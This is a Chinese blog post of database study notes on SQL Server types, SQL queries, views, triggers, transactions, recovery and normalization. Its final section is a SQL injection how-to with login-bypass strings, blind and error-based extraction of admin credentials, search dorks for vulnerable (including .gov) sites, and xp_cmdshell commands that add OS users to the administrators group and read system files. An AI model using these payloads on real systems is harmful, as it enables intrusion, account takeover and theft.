theKingOfNight's Blog

数据库的学习与使用

Word count: 4.9kReading time: 20 min
2019/01/19 Share

基本概念

DB: 数据—–>可以长期存储的

有结构的(或者说是有结构的存储)

可以共享(可以被所有人看到)

DBMS:数据库管理软件—–>只是一个软件

image

DBS:数据库系统——->从上图也可以看出,包括所有的东西

DBA:数据库管理员

数据三种抽象模型

Physical schema(内模式,物理模式): 表示数据在物理(硬件,存储介质)方面的存储。

Logical level(逻辑模式): 描述什么样的数据存储在数据库中,以及数据之间的关系(逻辑结构)。如:

name: string;

street: string;

city: integer; end;

Sub schema(子模式,外模式):用户可以看到和使用的数据

以下一张图很好的诠释了三者之间的关系:

image

SQL SERVER的数据类型:

**    逻辑型**:bit,值为0或1,由于储存两种可能的值,YES&NO,TRUE&FALSE,ON&OFF

数值型:begint(8字节) -2^63——2^63-1

int        (4字节)        -2^31------2^31-1

smallint(2字节)        -2^15-----2^15-1

tinyint(1字节)            0-255

小数:decimal[(p[,s])] & numeric[(p[,s])]

                    p(精度),范围为1-38,指小数点    左边的位数+右边的位数  

                    s(小数位数),就是小数点右边的位数

两种小数的数据类型:    Float(8字节)    Real(4字节)

货币数据: Money(8字节) & Smallmoney(4字节)

**字符数据类型**:

        Char(n)    定长字符类型(数据长度没有达到指定长度时会自动用英文的空   格填充满),长度不超过    4*1024bit(最多存储8000个英文,4000个汉字)

       Varchar(n)    变长字符类型(不会填充,长度等于实际长度+1,用于存储实际长度),长度不超过    4*1024bit(最多存储8000个英文,4000个汉字)

      Nvarchar(unicode编码)    可以存储4000个英文和汉字(字符,无论什么字符,存储英文有一些浪费)

        Nchar(unicode编码)    可以存储4000个英文和汉字(字符,无论什么字符,存储英文有一些浪费    )

文本型数据:

Text:可以存储超过8KB的ascii数据(不包含除了asc以外的字符)

Ntext:可以存储2GB的字符数据(字符)

但是这里需要注意一点,**文本型数据没有长度,应该避免使用**。

日期和时间数据类型:

image

DDL:数据定义语言(由DBMS操纵)

DML:数据操纵语言

DCL:数据控制语言

DDL一些常用语句:

creat table student(sid char(18),name char(20),age int,);

创建表是时的一些约束条件:not null,primary key,unique,check(age>=0)

                            foreign key(sid) references student(sid) on delete cascade on update cascade

                                delete,drop

                  delete是删除表中的所有行,可以查询到这个表

                drop 是删除整个表,连表都查不到了

                    alter在表中添加/删除一个属性(列,字段),初始创建全为null。    

                            alter table student add socolar varchar(20)     

                            alter table student drop socolar

                distinct    去除重复的元素select distinct sid from loan

确定范围的语句:

between and                    not between and

in                                         not in(select name from student where sdept in ('ls','ma','cs'))

in是后面3个里面的指U                                not in是∩

like                                        not like

is null                                    is not null

   and                or             not

一些比较奇葩的查询方法:

 a%b        以a开头,b结尾

 _               匹配单个字符(如果查询的字符中有_则使用like'\_' escape'\')

 没有记录的使用null,is not null查询

 select * from student,teacher返回student X teacher的结果

 as    重命名,可加可不加。

 order by        ----desc        降序查询

                         ----asc            升序查询

 union    ∪            用法同下

 intersect    ∩       (select customer_name from depositor) intersect

                                   (select customer_name from borrower)

 except        -            同上    

 聚合函数:avg,min,max,sum,count用于分组(Group by),举例如下:

select branch-name,count(account-number) from account goup by branch-name

 Having+条件        在group by的条件下进一步提取其中的一部分东西

增删改

Insert into

1
2
INSERT INTO table_name VALUES (值1, 值2,....) //插一行
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....) //固定列插

1
2
3
4
5
6
7
从选择的结果中插入一条记录
insert into <table_name>(attr1,attr2.....)
select columns from data sources [WHERE conditions]
这里以TABLE Dept_age( Sdept,Avg_ age)为例
INSERT INTO Dept_age(Sdept,Avg_age)
SELECT Sdept,AVG(Sage) FROM Student
GROUP BY Sdept;
1
2
3
4
5
6
7
8
创建一个表的同时插入一个数据
SELECT Columns INTO NewTable
FROM DataSources [WHERE conditions]
例:
SELECT Sdept,AVG(Sage) AVG_age
INTO DEPT_AVG
FROM Student
GROUP BY Sdept;

insert into select

1
insert into table2(column1,column2....) select value1,value2.... fr0m table1 //要求table2必须存在

select into from

1
2
select value1,value2... into table2 from table1
将table1的数据存入到table2中,table2不存在则会自动创建

Delete

1
2
delete from student where sid='20060209'; //删除某个元祖
delete from student where sdept=‘软件学院'; //删除多个元祖

update

1
2
3
update <table name>
set <attribute1=expression1>,<attribute2=expression2>,…
where <predicate>

1
2
3
4
Student(sno,sname,sdept,sex,birthday)
update student set sdept='理学院‘ where sid= '20100201'; //将学号为XX的学生改为理学院
update student set age=age+1; //将所有学生的年龄+1
update student set age=age+1 where sdept='软件学院'; //将软件学院所有学生的年龄+1

view

1
2
3
虚表
不存放数据
基表数据变化,虚表的数据也变化

创建视图

1
2
3
CREATE VIEW <视图名> [(<列名> [,<列名>]…)]
AS <子查询>
[WITH CHECK OPTION];

1
2
3
4
5
6
7
8
9
10
11
建立软件学院学生的视图。
create view sf_stu as /*全部省略属性名*/ //默认属性名称与后面的相同
select sid,sname,sage
from student
where sdept='软件学院'
create view sf_stu (学号,姓名,年龄) as
select sid,sname,sage
from student
where sdept='软件学院'
with check option
1
2
3
4
5
6
7
8
建立基于多个表的视图
CREATE VIEW sf_S1(Sno,Sname,Grade)
AS
SELECT Student.Sno,Sname,Grade
FROM Student,SC
WHERE Student.Sno=SC.Sno
AND Sdept= ‘软件学院'
AND SC.Cno= ‘1’
1
2
3
4
5
6
7
基于视图的视图
建立软件学院选修了1号课程且成绩在90分以上的学生的视图。
CREATE VIEW sf_S2
AS
SELECT Sno,Sname,Grade
FROM sf_S1
WHERE Grade>=90
1
2
3
4
5
6
7
8
SELECT * 的bug
CREATE VIEW F_Student(F_Sno,name,sex,age,dept)
AS
SELECT *
FROM Student
WHERE Ssex = ‘女’;
当student列改变后view就被破坏

删除视图

1
2
drop view <视图名> //当这个视图作为基视图时,不能删除
drop view <视图名> cascade //删除这个视图和以这个视图为基视图的视图

with check option

1
update,insert,delete 对view进行操作时,保证满足条件

1
2
3
4
5
6
create view sf_stu as
select sid,sname,sage
from student
where sdept='软件学院'
with check option
保证该视图只有软件学院的学生 //对视图进行操作

更新视图//Insert into/delete from/update set

1
2
3
4
5
6
7
8
UPDATE sf_stu
SET Sname= '刘辰'
WHERE Sno= ' 200215122 ';
对视图中的操作最显示为对基表的操作
实际的操作为:
UPDATE Student
SET Sname= '刘辰'
WHERE Sno= ‘ 200215122 ’ AND Sdept= ‘软件学院';

1
2
tips
聚集函数不能转换为对基表的更新
1
2
3
4
5
6
一个不允许更新的视图上定义的视图也不允许更新
CREATE VIEW GOOD_SC
AS
SELECT Sno,Cno,Grade
FROM SC
WHERE Grade >(SELECT AVG(Grade) FROM SC);

SQL-DDL完整性命令

check

1
2
3
4
5
6
check后的语句可以是任何where后面的语句
Create Table SC (
S# char(8) check( S# in (select S# from student)) ,
C# char(3) check( C# in (select C# from course)) ,
Score decimal(4,1) check (Score>=0.0 and score<=100.0)
)

Assertion //希望数据库可以满足X条件|增加系统负担

1
2
CREATE ASSERTION <assertion-name> CHECK
(predicate)

1
2
3
4
5
6
7
8
9
10
例子
create assertion sum_constraint check (not exists
(select *
from branch
where (select sum(amount )
from loan
where loan.branch_name = branch.branch_name )
>= (select sum (amount )
from account
where account.branch_name = branch.branch_name )))

trigger

1
2
3
4
对表进行修改(insert,update,delete)时就会激活trigger
After 触发器,在修改(update/delete/update)之后触发。
删除顺序:先对表删除,然后触发器在把内存中相应的东西删除
Instead of 触发器,在修改之前触发,不执行原本输入的sql语句,执行触发器本身的sql指令

1
2
3
4
delete触发器
insert 触发器
update触发器
这三种触发器都只能创建一个instead of 触发器或多个After触发器
1
2
3
4
5
6
7
8
9
10
11
12
语法
CREATE TRIGGER trigger_name
ON {table|view}
{FOR|AFTER|INSTEAD OF}
{[INSERT],[UPDATE],[DELETE]}
AS
[ { IF UPDATE ( column )
[ { AND | OR } UPDATE ( column ) ]
sql_statesments
在其中的for关键字默认是after
不能在视图上定义after触发器
1
2
3
4
5
6
7
insert
creat trigger aaaa
on student
for insert
as print 'ok'
向学生表中插入数据时,会输出ok
1
2
3
4
5
6
instead of
creat trigger aaaa
on student
instead of //这里没有for
as print'删除不成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
update //在带有update触发器的表上执行update语句时,会触发update触发器
例1:
CREATE TRIGGER trig_update_transInfo
ON transInfo
FOR UPDATE
AS
IF UPDATE(transDate)
BEGIN
print '交易失败.....'
RAISERROR (‘安全警告:交易日期不能修改,
由系统自动产生',16,1)
ROLLBACK TRANSACTION
END
GO
例2:
CREATE TRIGGER update_stud
ON STUDENT
FOR UPDATE
AS
IF UPDATE(sbirthday)
ROLLBACK TRANSACTION
GO

具体三种可以参考以下(感觉比我写的墙多 了)

1
https://blog.csdn.net/wangboxian/article/details/7303474

查询

假设有以下关系

1
2
3
4
5
6
Branch (branch-name, branch-city, assets)
Customer (customer-name, customer-street, customer-city)
Loan (loan-number, amount, branch-name)
Account (account-number, balance, branch-name)
Borrower (customer-name, loan-number)
Depositor (customer-name, account-number)

sql 一些关键字

1
2
3
4
5
6
7
8
9
10
distinct 去重
select distinct branch-name from loan
select distinct branch-name,amount from loan (YES)
select distinct branch-name,distinct amount from loan (ERROR)
all 全部
select all branch-name from loan
*
select * from loan=select loan_number,branch_name ,amount from loan

1
2
select 可以在选择的属性中做一些相应的运算
select loan_number,branch_name,amount*100 from loan

关系:

1
Student(sno,sname,sage,ssex, sdept)

1
2
3
别名
select Sname Name,sage from student
select Sname as Name .sage from student

where

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
select loan_number from loan where branch_name = ‘ Perryridge' and amount > 1200
select name
from teacher
where (age, title)=( select age, title
from teacher
where name=‘王强’)
between&not between
select loan_number from loan where amount between 90000 and 100000
in&not in
select Sname ,Sex from Student WHere Sdept in/not in('IS','MA','CS') //在其中一个/都不在
like
SELECT * FROM Student WHERE Sno LIKE ‘200215121';
like可以进行模糊匹配
a%b 以a开头以b结尾,
_,匹配单个字符,a_b
换码字符
select name from student where name like '1\_3' ESCAPE '\'
ESCAPE '\' 表示\为换码字符
is null&is not null
order by | desc&asc
SELECT Sno,Grade FROM SC WHERE Cno= ' 3 ' ORDER BY Grade DESC
SELECT * FROM Student ORDER BY Sdept,Sage DESC; //如果第一个关键字相同,则采用第二个关键字排序

连接词

1
2
3
4
5
6
7
8
9
10
11
12
union ∪
intersect ∩
except -
(select customer_name from depositor) union (select customer_name from borrower)
union all
intersect all
except all
Suppose a tuple occurs m times in r and n times in s, then, it occurs:
m + n times in r union all s
min(m,n) times in r intersect all s
max(0, m – n) times in r except all s

group by

1
avg,min,max,sum,count

having

1
2
3
4
select branch-name, avg(balance)
from account
group by branch-name
having avg (balance) >700

some

1
2
select branch_name from branch where assets > some
(select assets from branch where branch_city = 'Brooklyn')

exists/not exists

1
2
3
4
exists 返回true&false
select sname
from students
where exists (select * from sc where sid=students.sid)

Join

1
2
3
4
5
6
7
8
inner join 和select多个表的效果相同
left outer join 返回所有满足的行+左边表中所有不比配的
right outer join
full outer join 返回匹配和两边不匹配的
SELECT r.sid, b.bid, b.name
FROM Reserves r FULL OUTER JOIN Boats b
ON r.bid = b.bid

image.png

事务

事务的属性ACID

1
2
3
4
A->Atomicity(原子):一个事务(transaction)中的所有操作,要么全部完成,要么全部不完成,不会结束在中间某个环节。
C->Consistenct(一致性):在事务开始之前和事务结束以后,数据库的完整性没有被破坏。这表示写入的资料必须完全符合所有的预设规则,这包含资料的精确度、串联性以及后续数据库可以自发性地完成预定的工作。
I->Isolation(独立性):数据库允许多个并发事务同时对其数据进行读写和修改的能力,隔离性可以防止多个事务并发执行时由于交叉执行而导致数据的不一致。
D->Durability(持久性):事务处理结束后,对数据的修改就是永久的,即便系统故障也不会丢失。

几种交易状况

1
2
3
4
5
6
7
Active : 事务在执行时处于此状态
Partially committed : 最后的语句执行后
Failed : 正常执行不能执行下去
Aborted(中止) : 事务回滚+数据库恢复到事务开始之前的状况之后中止
1.重新启动事务
2.杀死交易
Committed : 成功完成交易

几者之间的关系可以如下图表示:state
事务的执行方式

1
2
3
串行执行
每个时刻只能有一个事务在运行,其他的事务必须等这个事务结束才能运行
不能充分理由系统资源,不能发挥数据库各项资源的优势

1
2
3
交叉并发方式
单处理系统,将多个事务并行操作轮流交叉运行
并没有真正的并行运行,但是可以减少处理机的空闲时间,提高效率
1
2
3
同时并发方式
多个处理机可以运行一个事务,也可以同时运行多个任务
实现事务真正的并发运行

可串行性

1
某组并发事务的交叉调度产生的结果和这些事务的某一串行调度结果相同,则这个交叉调度是可串行化的

两端锁协议—-2PL

1
2
1.任何数据读写之前,都需要申请并获得对该数据的封锁
2.在释放一个封锁后,事务不在申请和获得其他任何封锁

事务分为两个阶段

1
2
1.获得封锁(扩展阶段)
2.释放封锁(搜索阶段)

直接看下面两个例子不符合
符合
死锁是设计过程中可能出现的两种问题,那么该怎么处理呢?

1
2
预防死锁
某些事务回滚打破死锁

数据恢复

事务故障

1
2
3
4
逻辑故障:由于系统内部错误导致事务无法完成(用户不合法的输入)
系统故障:数据库系统必须终止一个活动的事务由于错误的条件
系统崩溃(System crash):系统停止运转
磁盘故障

两个概念

1
2
UNDO(撤销)
REDO(重新执行)

1
2
非正常终止的事务:系统重启后需要undo
正常终止的事务:系统重启后需要redo

转储—–dump

1
DBA将数据库备份起来

1
2
3
4
静态转储
1.在系统无运行事务时进行转储
2.转储开始时数据库处于一致性状态
3.转储期间不允许对数据库进行存取,修改
1
2
3
4
5
6
7
动态转储
1.转储与用户事务并发进行
2.转储期间允许对数据库进行存取和修改
缺点:不能保证副本的数据正确有效
故障恢复:
将动态转储期间各事务对数据库的修改活动登记下来,建立日志文件
副本和日志文件可以将数据库恢复到某一时刻的正确状态

海量转储

1
每次转储全部数据库

增量转储

1
只转储上次更新后的数据

关系:关系.png
日志

1
2
log记录事务对数据库更新操作的文件
先写日志文件,后写数据库

1
2
3
日志中
事物的开始标记:BEGIN TRANSACTION
事务的结束标记:COMMIT/ROLLBACK

恢复算法

1
恢复算法确保数据库一致性和事务的原子性和持久性

1
2
3
4
5
6
事务故障恢复
恢复子系统利用日志撤销(UNDO)此事务对数据进行的更改
1.反向扫描日志文件
2.对事务更新操作执行逆操作
3.继续反向扫描日志文件,对其他类似情况同样处理
4.直到此事务的开始标记,恢复结束
1
2
3
4
5
6
系统故障恢复
1.正向扫描日志文件,用两个队列来保存事务状况
Redo队列:在故障发生之前已经提交的事务
Undo队列:故障发生时未完成的事务
2.反向扫描日志文件,Undo队列进行UNDO(撤销)处理
3.正向扫描日志文件,Redo队列进行REDO(重新执行)处理
1
2
3
4
介质故障恢复
1.装入副本
2.装入相应的日志文件
3.启动恢复程序,按日志恢复

具有检查点的恢复技术

1
2
3
4
5
在日志文件中增加检查点记录
1.找到最后一个检查点的记录,并记录正在活动的事务
2.建立UNDO-list,REDO-list,将ACTIVE-list暂时放在UNDO-list,REDO列表为空。
3.从检查点开始正向扫描日志文件,直到日志结束,如果有提交的事务,将事务放在REDO-list
4.对REDO-list进行redo操作,UNDO-list进行undo操作

范式

1NF->2NF->3NF->BCNF.png

浅谈SQL注入

ASP注入

什么是ASP

1
动态服务器主页

判断注入点

1
2
www.xxx.com/a.asp?id=1 and 1=1
www.xxx.com/a.asp?id=1 and 1=2

万能口令

1
2
username= ' or ' = ' or'
passowrd随便

1
2
select * from admin where username=' ' or '=' or '' and password=XXXX
'='

判断数据库类型

1
2
3
加 ' (没有过滤的字符),看界面报错
或者
and (select count(*) from 不同数据库的独有表名)>0

1
2
3
4
5
独有表名
access:mssysobjects
mssql:sysobjects
mysql:information_schema.tables
oracle:sys.user_tables

手工注入access

1
2
判断表名:admin/user/userinfo/manager/等,找字典
and (select count(*) from admin)>0

1
2
判断列名:user/pass/username/password/admin_user/admin/pwd/等,继续找字典
and (select count(admin_user) from admin)>0
1
2
判断长度
and (select len(admin_user) from admin)>4
1
2
3
4
判断值
and(select left(admin_user,1) from admin)='a'
and(select left(admin_user,2) from admin)='ad'
left表示左边几个

工具

1
2
3
4
domain
ad
pangolin
管中窥豹

查找有漏洞的网址

1
2
google:inurl:.gov asp+id
baidu:inurl:asp?id=

MSSQL注入

特点

1
2
函数非常多
需要字典表

判断数据库类型

1
'

判断注入点

1
2
and 1=1
and 1=2

判断数据库的版本号

1
2
and @@version>0
在运行中输入winver就可以看到自己的版本号

查看当前连接数据库的用户名

1
2
3
and user>0 //字符和数字不能比较,报错,返回用户
dbo=sa mssql管理员
1433端口

查看当前连接数据库:

1
and db_name()>0

查看其他数据库

1
2
3
4
5
6
and (select name from master.dbo.sysdatabases where and dbid=6)>1
显示名字
那个master.dbo.sysdatabases相当于mysql的information_schema.tables
格式:库名.所有者.表
前5个是系统的自带表,后面的才是用户建立的库
需要查询只需要将6改为其他值

查看表名

1
2
and (select top 1 name from sysobjects where xtype='u' and status>0)>0
and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in ('爆出来的表'))>0

查看列

1
2
3
4
and (select top 1 col_name(object_id('表名'),第几列) from sysobjects)>0
and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0
and (select top 1 col_name(object_id('admin'),2) from sysobjects)>0

查看值

1
2
and (select 列名 from 表名)>0
and (select username from admin)>0

如果查找出来的密码是md5加密的,并且解密不出来,可以考虑更改密码

1
2
;update 库名.所有者.表名 set 列名='你想设置的密码(最好第一个字母是英文)' where username='表中的元组/行';--
;update article.dbo.admin set password='a12345' where username ='admin'--

工具使用

1
pangolin(穿山甲)

在数据库中添加用户

1
;exec master.. sp_addlogin 用户名,密码;--

建立系统用户

1
2
;exec master..xp_cmdshell 'net user 账号 密码/add'--
//权限 user

提权

1
2
;exec master..xp_cmdshell 'net localgroup administrators 用户名/add'--
将用户加入管理员组

读文件

1
2
3
4
利用查询分析器链接数据库(sqlserver->查询分析器)
create table vvboot(line varchar (8000))
bulk insert vvboot from 'c:\boot.ini'
select * from vvboot

写文件

1
;exec master..xp_cmdshell 'echo aaa>>c:u.txt'--

1
2
3
4
5
6
文件名cmd.cmd
start "good" /high cmd.cmd & exit
a.bat
:1
start iexplore.exe
goto 1

执行

1
;exec master..xp_cmdshell 'echo aaa >>c:u.txt' --

防范溢出漏洞

1
2
c:\windows\system32\cmd.exe
删除所有权限,adminitrator完全控制

CATALOG
  1. 1. 基本概念
    1. 1.1. 数据三种抽象模型
  2. 2. 增删改
    1. 2.1. view
    2. 2.2. SQL-DDL完整性命令
    3. 2.3. 具体三种可以参考以下(感觉比我写的墙多 了)
  3. 3. 查询
  4. 4. 事务
  5. 5. 数据恢复
  6. 6. 范式
  7. 7. 浅谈SQL注入
    1. 7.1. ASP注入
    2. 7.2. MSSQL注入